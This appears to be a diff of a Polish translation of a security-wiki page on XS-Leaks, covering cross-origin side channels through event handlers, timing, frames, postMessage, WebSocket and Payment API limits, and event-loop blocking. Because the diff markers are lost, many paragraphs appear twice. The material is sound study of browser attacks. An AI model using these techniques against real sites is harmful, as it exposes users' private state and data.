- **Kod statusu**: Rozróżnianie między **różnymi kodami statusu odpowiedzi HTTP** z różnych źródeł, takimi jak błędy serwera, błędy klienta czy błędy autoryzacji.
- **Użycie API**: Identyfikacja **użycia Web API** na stronach, ujawniająca, czy strona z innego źródła korzysta z konkretnego JavaScript Web API.
- **Przekierowania**: Wykrywanie nawigacji do różnych stron, nie tylko przekierowań HTTP, ale także tych wywołanych przez JavaScript lub HTML.
- **Zawartość strony**: Obserwowanie **różnic w treści odpowiedzi HTTP** lub w podzasobach strony, takich jak **liczba osadzonych ramek** lub różnice w rozmiarze obrazów.
- **Nagłówek HTTP**: Zauważenie obecności lub ewentualnie wartości **konkretnego nagłówka odpowiedzi HTTP**, w tym nagłówków takich jak X-Frame-Options, Content-Disposition i Cross-Origin-Resource-Policy.
@ -28,19 +28,19 @@ Kilka aspektów można analizować, aby rozróżnić stany Wrażliwej Strony Int
### Metody włączenia
- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów między źródłami**, takie jak arkusze stylów, obrazy lub skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilacja potencjalnych elementów HTML do tego celu znajduje się pod adresem [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed ramkowaniem**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
- **Wyskakujące okna**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Wyskakujące okna, często używane w jednolitym logowaniu, omijają ograniczenia ramkowania i ciasteczek zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie wyskakujących okien do określonych działań użytkownika.
- **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład wybierając śledzenie przekierowań HTTP.
- **Elementy HTML**: HTML oferuje różne elementy do **włączenia zasobów z różnych źródeł**, takie jak arkusze stylów, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilację potencjalnych elementów HTML do tego celu można znaleźć na [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
- **Ramki**: Elementy takie jak **iframe**, **object** i **embed** mogą osadzać zasoby HTML bezpośrednio na stronie atakującego. Jeśli strona **nie ma ochrony przed ramkami**, JavaScript może uzyskać dostęp do obiektu okna osadzonego zasobu za pomocą właściwości contentWindow.
- **Wyskakujące okna**: Metoda **`window.open`** otwiera zasób w nowej karcie lub oknie, zapewniając **uchwyt okna** dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Wyskakujące okna, często używane w jednolitym logowaniu, omijają ograniczenia ramkowe i ciasteczkowe zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie wyskakujących okien do określonych działań użytkownika.
- **Żądania JavaScript**: JavaScript pozwala na bezpośrednie żądania do zasobów docelowych za pomocą **XMLHttpRequests** lub **Fetch API**. Te metody oferują precyzyjną kontrolę nad żądaniem, na przykład możliwość podążania za przekierowaniami HTTP.
### Techniki wycieku
- **Obsługa zdarzeń**: Klasyczna technika wycieku w XS-Leaks, gdzie obsługiwacze zdarzeń, takie jak **onload** i **onerror**, dostarczają informacji o sukcesie lub niepowodzeniu ładowania zasobów.
- **Komunikaty o błędach**: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji o wycieku, zarówno bezpośrednio z komunikatu o błędzie, jak i poprzez rozróżnienie między jego obecnością a brakiem.
- **Globalne ograniczenia**: Fizyczne ograniczenia przeglądarki, takie jak pojemność pamięci lub inne narzucone ograniczenia przeglądarki, mogą sygnalizować, kiedy osiągnięto próg, służąc jako technika wycieku.
- **Globalny stan**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek dotyczących stron między źródłami.
- **Globalny stan**: Wykrywalne interakcje z **globalnymi stanami** przeglądarek (np. interfejs Historia) mogą być wykorzystywane. Na przykład, **liczba wpisów** w historii przeglądarki może dostarczać wskazówek dotyczących stron z różnych źródeł.
- **API wydajności**: To API dostarcza **szczegóły wydajności bieżącej strony**, w tym czas sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioski na temat żądanych zasobów.
- **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne między źródłami** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej między źródłami.
- **Czytelne atrybuty**: Niektóre atrybuty HTML są **czytelne z różnych źródeł** i mogą być używane jako technika wycieku. Na przykład, właściwość `window.frame.length` pozwala JavaScript na zliczanie ramek osadzonych w stronie internetowej z różnych źródeł.
## Narzędzie XSinator i dokument
@ -49,14 +49,14 @@ XSinator to automatyczne narzędzie do **sprawdzania przeglądarek pod kątem ki
Możesz **uzyskać dostęp do narzędzia pod** [**https://xsinator.com/**](https://xsinator.com/)
> [!WARNING]
> **Wykluczone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **workerach serwisowych**, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład, błędne konfiguracje Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy XS-Leaks oparte na czasie, ponieważ często cierpią na wolność, hałas i niedokładność.
> **Wykluczone XS-Leaks**: Musieliśmy wykluczyć XS-Leaks, które polegają na **workerach serwisowych**, ponieważ mogłyby zakłócać inne wycieki w XSinator. Ponadto zdecydowaliśmy się **wykluczyć XS-Leaks, które polegają na błędnej konfiguracji i błędach w konkretnej aplikacji internetowej**. Na przykład, błędne konfiguracje Cross-Origin Resource Sharing (CORS), wycieki postMessage lub Cross-Site Scripting. Dodatkowo wykluczyliśmy XS-Leaks oparte na czasie, ponieważ często są wolne, hałaśliwe i niedokładne.
## **Techniki oparte na czasie**
Niektóre z poniższych technik będą wykorzystywać czas jako część procesu wykrywania różnic w możliwych stanach stron internetowych. Istnieją różne sposoby mierzenia czasu w przeglądarce internetowej.
**Zegary**: API [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) pozwala programistom uzyskać pomiary czasu o wysokiej rozdzielczości.\
Istnieje znaczna liczba API, które atakujący mogą nadużywać do tworzenia ukrytych zegarów: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animacje CSS i inne.\
Istnieje znaczna liczba API, które atakujący mogą nadużywać do tworzenia niejawnych zegarów: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), animacje CSS i inne.\
Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).
## Techniki obsługi zdarzeń
@ -66,14 +66,14 @@ Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt
- **Metody włączenia**: Ramki, elementy HTML
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
- **Podsumowanie**: jeśli próbuje się załadować zasób, zdarzenia onerror/onload są wywoływane, gdy zasób jest ładowany pomyślnie/niepomyślnie, możliwe jest ustalenie kodu statusu.
- **Podsumowanie**: Jeśli próbuje się załadować zasób, zdarzenia onerror/onload są wywoływane, gdy zasób jest ładowany pomyślnie/niepomyślnie, możliwe jest ustalenie kodu statusu.
- **Przykład kodu**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
{{#ref}}
cookie-bomb-+-onerror-xs-leak.md
{{#endref}}
Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, dźwięki mogą być również używane. Ponadto możliwe jest również wstrzyknięcie **tagu bezpośrednio** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwać je z JS).
Przykład kodu próbuje **załadować obiekty skryptów z JS**, ale **inne tagi** takie jak obiekty, arkusze stylów, obrazy, dźwięki również mogą być używane. Ponadto możliwe jest również wstrzyknięcie **tagu bezpośrednio** i zadeklarowanie zdarzeń `onload` i `onerror` wewnątrz tagu (zamiast wstrzykiwać je z JS).
Istnieje również wersja tego ataku bez skryptów:
```html
@ -86,7 +86,7 @@ W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana z
### Czas ładowania
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)
- **Podsumowanie:** [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** może być używane do pomiaru, ile czasu zajmuje wykonanie żądania. Jednak inne zegary mogą być używane, takie jak [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming), które mogą identyfikować zadania trwające dłużej niż 50 ms.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) inny przykład w:
@ -95,7 +95,7 @@ W tym przypadku, jeśli `example.com/404` nie zostanie znaleziony, załadowana z
performance.now-example.md
{{#endref}}
#### Czas ładowania + Wymuszone ciężkie zadanie
#### Czas ładowania + wymuszone ciężkie zadanie
Ta technika jest podobna do poprzedniej, ale **atakujący** również **wymusi** pewną akcję, aby zajęła **odpowiednią ilość czasu**, gdy **odpowiedź jest pozytywna lub negatywna** i zmierzy ten czas.
@ -106,37 +106,37 @@ performance.now-+-force-heavy-task.md
### Czas unload/beforeunload
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
- **Podsumowanie:** Zegar [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) może być używany do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) i [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Zdarzenie **`beforeunload`** jest wywoływane, gdy przeglądarka ma zamiar przejść do nowej strony, podczas gdy zdarzenie **`unload`** występuje, gdy nawigacja faktycznie ma miejsce. Różnicę czasu między tymi dwoma zdarzeniami można obliczyć, aby określić **czas, jaki przeglądarka spędziła na pobieraniu zasobu**.
Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) i [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). Zdarzenie **`beforeunload`** jest wywoływane, gdy przeglądarka ma zamiar przejść do nowej strony, podczas gdy zdarzenie **`unload`** występuje, gdy nawigacja faktycznie ma miejsce. Różnicę czasową między tymi dwoma zdarzeniami można obliczyć, aby określić **czas, jaki przeglądarka spędziła na pobieraniu zasobu**.
### Czas ramki w piaskownicy + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Czas (zazwyczaj z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **Podsumowanie:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API może być używane do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Zaobserwowano, że w przypadku braku [Ochrony Ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej zasobów podrzędnych przez sieć może być mierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ handler `onload` iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonania JavaScript. Aby obejść zmienność wprowadzoną przez wykonanie skryptu, atakujący może zastosować atrybut [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) w `<iframe>`. Włączenie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie JavaScript, co ułatwia pomiar, który jest głównie wpływany przez wydajność sieci.
Zaobserwowano, że w przypadku braku [Ochrony Ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej zasobów podrzędnych przez sieć może być mierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ handler `onload` iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonania JavaScriptu. Aby obejść zmienność wprowadzoną przez wykonanie skryptu, atakujący może zastosować atrybut [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) w `<iframe>`. Włączenie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie JavaScriptu, co ułatwia pomiar, który jest głównie wpływany przez wydajność sieci.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload
- **Metody włączenia**: Frames
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**:
- **Podsumowanie**: Jeśli możesz spowodować błąd na stronie, gdy dostępna jest poprawna zawartość, i sprawić, że załaduje się poprawnie, gdy dostępna jest jakakolwiek zawartość, możesz stworzyć pętlę do wyodrębnienia wszystkich informacji bez mierzenia czasu.
- **Przykład kodu**:
Załóżmy, że możesz **wstawić** **stronę**, która ma **tajną** zawartość **w Iframe**.
Załóżmy, że możesz **wstawić** **stronę**, która ma **tajną** zawartość **w ramce Iframe**.
Możesz **sprawić, aby ofiara wyszukiwała** plik, który zawiera "_**flag**_" używając **Iframe** (na przykład wykorzystując CSRF). Wewnątrz Iframe wiesz, że _**zdarzenie onload**_ będzie **wykonywane zawsze przynajmniej raz**. Następnie możesz **zmienić** **URL** **iframe**, zmieniając tylko **zawartość** **hash** w URL.
Możesz **sprawić, że ofiara wyszuka** plik, który zawiera "_**flag**_" używając **Iframe** (na przykład wykorzystując CSRF). Wewnątrz Iframe wiesz, że _**zdarzenie onload**_ będzie **wykonywane zawsze przynajmniej raz**. Następnie możesz **zmienić** **URL** **iframe**, zmieniając tylko **zawartość** **hash** w URL.
Na przykład:
@ -149,10 +149,10 @@ Wtedy możesz **rozróżnić** między **poprawnie** załadowaną stroną a stro
### Wykonanie Javascript
- **Metody włączenia**: Frames
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**:
- **Podsumowanie:** Jeśli **strona** **zwraca** **wrażliwą** zawartość, **lub** zawartość, którą można **kontrolować** przez użytkownika. Użytkownik mógłby ustawić **ważny kod JS w negatywnym przypadku**, **ładując** każdy próbę wewnątrz **`<script>`** tagów, więc w **negatywnych** przypadkach kod **atakującego** jest **wykonywany**, a w **pozytywnych** przypadkach **nic** nie zostanie wykonane.
- **Podsumowanie:** Jeśli **strona** **zwraca** **wrażliwą** zawartość, **lub** zawartość, która może być **kontrolowana** przez użytkownika. Użytkownik mógłby ustawić **ważny kod JS w negatywnym przypadku**, **ładując** każdy próbę wewnątrz **`<script>`** tagów, więc w **negatywnych** przypadkach kod **atakującego** jest **wykonywany**, a w **pozytywnych** przypadkach **nic** nie zostanie wykonane.
- **Przykład kodu:**
{{#ref}}
@ -161,17 +161,17 @@ javascript-execution-xs-leak.md
### CORB - Onerror
- **Metody włączenia**: HTML Elements
- **Metody włączenia**: Elementy HTML
- **Wykrywalna różnica**: Kod statusu i nagłówki
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Podsumowanie**: **Cross-Origin Read Blocking (CORB)** to środek bezpieczeństwa, który zapobiega ładowaniu przez strony internetowe niektórych wrażliwych zasobów z innych źródeł, aby chronić przed atakami takimi jak **Spectre**. Jednak atakujący mogą wykorzystać jego ochronne zachowanie. Gdy odpowiedź podlegająca **CORB** zwraca _**chroniony przez CORB**_ `Content-Type` z `nosniff` i kodem statusu `2xx`, **CORB** usuwa treść i nagłówki odpowiedzi. Atakujący obserwujący to mogą wywnioskować kombinację **kodu statusu** (wskazującego na sukces lub błąd) i `Content-Type` (oznaczającego, czy jest chroniony przez **CORB**), co prowadzi do potencjalnego wycieku informacji.
- **Przykład kodu**:
Sprawdź link z więcej informacjami, aby uzyskać więcej informacji o ataku.
Sprawdź link z więcej informacjami, aby uzyskać więcej informacji na temat ataku.
### onblur
- **Metody włączenia**: Frames
- **Metody włączenia**: Ramki
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
- **Podsumowanie**: Wycieki wrażliwych danych z atrybutu id lub name.
@ -182,31 +182,31 @@ Możesz przeprowadzić ten sam atak z tagami **`portal`**.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
- **Metody włączenia**: Frames, Pop-ups
- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
- **Podsumowanie**: Zbieranie wrażliwych informacji z postMessage lub użycie obecności postMessages jako orakula do poznania statusu użytkownika na stronie
- **Przykład kodu**: `Any code listening for all postMessages.`
- **Przykład kodu**: `Jakikolwiek kod nasłuchujący wszystkie postMessages.`
Aplikacje często wykorzystują [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) do komunikacji między różnymi źródłami. Jednak ta metoda może nieumyślnie ujawniać **wrażliwe informacje**, jeśli parametr `targetOrigin` nie jest odpowiednio określony, co pozwala każdemu oknu na odbieranie wiadomości. Ponadto sam akt odbierania wiadomości może działać jako **orakulum**; na przykład niektóre wiadomości mogą być wysyłane tylko do użytkowników, którzy są zalogowani. Dlatego obecność lub brak tych wiadomości może ujawniać informacje o stanie lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni, czy nie.
Aplikacje często wykorzystują [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) do komunikacji między różnymi źródłami. Jednak ta metoda może nieumyślnie ujawniać **wrażliwe informacje**, jeśli parametr `targetOrigin` nie jest odpowiednio określony, co pozwala każdemu oknu na odbieranie wiadomości. Ponadto sam akt odbierania wiadomości może działać jako **orakulum**; na przykład, niektóre wiadomości mogą być wysyłane tylko do użytkowników, którzy są zalogowani. Dlatego obecność lub brak tych wiadomości może ujawniać informacje o stanie lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni, czy nie.
## Techniki globalnych limitów
## Techniki Global Limits
### WebSocket API
- **Metody włączenia**: Frames, Pop-ups
- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Podsumowanie**: Wyczerpanie limitu połączeń WebSocket ujawnia liczbę połączeń WebSocket strony z innego źródła.
- **Podsumowanie**: Wyciekanie liczby połączeń WebSocket strony z innego źródła poprzez wyczerpanie limitu połączeń WebSocket.
- **Przykład kodu**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
Możliwe jest zidentyfikowanie, czy i ile **połączeń WebSocket używa strona docelowa**. Pozwala to atakującemu na wykrycie stanów aplikacji i wyciek informacji związanych z liczbą połączeń WebSocket.
Jeśli jedno **źródło** używa **maksymalnej liczby obiektów połączeń WebSocket**, niezależnie od stanu ich połączeń, utworzenie **nowych obiektów spowoduje wyjątki JavaScript**. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w oknie pop-up lub iframe, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę możliwych połączeń WebSocket. **Liczba zgłoszonych wyjątków** to **liczba połączeń WebSocket używanych przez okno strony docelowej**.
Jeśli jedno **źródło** używa **maksymalnej liczby obiektów połączeń WebSocket**, niezależnie od stanu ich połączeń, utworzenie **nowych obiektów spowoduje wyjątki JavaScript**. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w pop-upie lub iframe, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę możliwych połączeń WebSocket. **Liczba zgłoszonych wyjątków** to **liczba połączeń WebSocket używanych przez okno strony docelowej**.
### Payment API
- **Metody włączenia**: Frames, Pop-ups
- **Metody włączenia**: Ramki, Pop-upy
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Podsumowanie**: Wykrywanie żądania płatności, ponieważ tylko jedno może być aktywne w danym czasie.
@ -214,12 +214,12 @@ Jeśli jedno **źródło** używa **maksymalnej liczby obiektów połączeń Web
Ten XS-Leak umożliwia atakującemu **wykrycie, kiedy strona z innego źródła inicjuje żądanie płatności**.
Ponieważ **tylko jedno żądanie płatności może być aktywne** w danym czasie, jeśli strona docelowa używa API żądania płatności, wszelkie dalsze próby użycia tego API zakończą się niepowodzeniem i spowodują **wyjątek JavaScript**. Atakujący może to wykorzystać, **okresowo próbując wyświetlić interfejs API płatności**. Jeśli jedna próba spowoduje wyjątek, strona docelowa aktualnie go używa. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po utworzeniu.
Ponieważ **tylko jedno żądanie płatności może być aktywne** w danym czasie, jeśli strona docelowa korzysta z API żądania płatności, wszelkie dalsze próby użycia tego API zakończą się niepowodzeniem i spowodują **wyjątek JavaScript**. Atakujący może to wykorzystać, **okresowo próbując wyświetlić interfejs API płatności**. Jeśli jedna próba spowoduje wyjątek, strona docelowa aktualnie z niego korzysta. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po jego utworzeniu.
### Mierzenie czasu pętli zdarzeń <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
- **Metody włączenia**:
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Podsumowanie:** Mierzenie czasu wykonania strony, wykorzystując jednowątkową pętlę zdarzeń JS.
- **Przykład kodu**:
@ -228,7 +228,7 @@ Ponieważ **tylko jedno żądanie płatności może być aktywne** w danym czasi
event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript działa na modelu współbieżności [jednowątkowej pętli zdarzeń](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), co oznacza, że **może wykonywać tylko jedno zadanie w danym czasie**. Ta cecha może być wykorzystana do oszacowania **jak długo kod z innego źródła zajmuje wykonanie**. Atakujący może zmierzyć czas wykonania swojego kodu w pętli zdarzeń, ciągle wysyłając zdarzenia z ustalonymi właściwościami. Te zdarzenia będą przetwarzane, gdy pula zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, **atakujący może wywnioskować czas, jaki zajmuje wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich własnych zadań**. Ta metoda monitorowania pętli zdarzeń pod kątem opóźnień może ujawniać czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.
JavaScript działa na modelu współbieżności [jednowątkowej pętli zdarzeń](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), co oznacza, że **może wykonywać tylko jedno zadanie w danym czasie**. Ta cecha może być wykorzystana do oszacowania **jak długo kod z innego źródła zajmuje wykonanie**. Atakujący może mierzyć czas wykonania swojego kodu w pętli zdarzeń, nieustannie wysyłając zdarzenia z ustalonymi właściwościami. Te zdarzenia będą przetwarzane, gdy pula zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, **atakujący może wywnioskować czas, jaki zajmuje wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich własnych zadań**. Ta metoda monitorowania pętli zdarzeń pod kątem opóźnień może ujawniać czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.
> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
@ -236,12 +236,12 @@ JavaScript działa na modelu współbieżności [jednowątkowej pętli zdarzeń]
### Zajęta pętla zdarzeń <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Metody włączenia**:
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Podsumowanie:** Jedna z metod mierzenia czasu wykonania operacji w sieci polega na celowym blokowaniu pętli zdarzeń w wątku, a następnie mierzeniu **jak długo zajmuje ponowne udostępnienie pętli zdarzeń**. Wstawiając operację blokującą (taką jak długie obliczenia lub synchronizowane wywołanie API) do pętli zdarzeń i monitorując czas, jaki zajmuje rozpoczęcie wykonania kolejnego kodu, można wywnioskować czas trwania zadań, które były wykonywane w pętli zdarzeń w czasie blokady. Ta technika wykorzystuje jednowątkowy charakter pętli zdarzeń JavaScript, gdzie zadania są wykonywane sekwencyjnie, i może dostarczyć informacji o wydajności lub zachowaniu innych operacji dzielących ten sam wątek.
- **Podsumowanie:** Jedna z metod mierzenia czasu wykonania operacji w sieci polega na celowym blokowaniu pętli zdarzeń w wątku, a następnie mierzeniu **jak długo zajmuje ponowne udostępnienie pętli zdarzeń**. Wstawiając operację blokującą (taką jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorując czas, jaki zajmuje rozpoczęcie wykonania kolejnego kodu, można wywnioskować czas trwania zadań, które były wykonywane w pętli zdarzeń podczas okresu blokowania. Ta technika wykorzystuje jednowątkowy charakter pętli zdarzeń JavaScript, w której zadania są wykonywane sekwencyjnie, i może dostarczyć informacji o wydajności lub zachowaniu innych operacji dzielących ten sam wątek.
- **Przykład kodu**:
Znaczną zaletą techniki mierzenia czasu wykonania poprzez blokowanie pętli zdarzeń jest jej potencjał do obejścia **Izolacji witryn**. **Izolacja witryn** to funkcja zabezpieczeń, która oddziela różne strony internetowe w osobnych procesach, mająca na celu zapobieganie bezpośredniemu dostępowi złośliwych witryn do wrażliwych danych z innych witryn. Jednak wpływając na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wydobyć informacje o działaniach tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, lecz raczej obserwuje wpływ działań tego źródła na wspólną pętlę zdarzeń, omijając w ten sposób bariery ochronne ustanowione przez **Izolację witryn**.
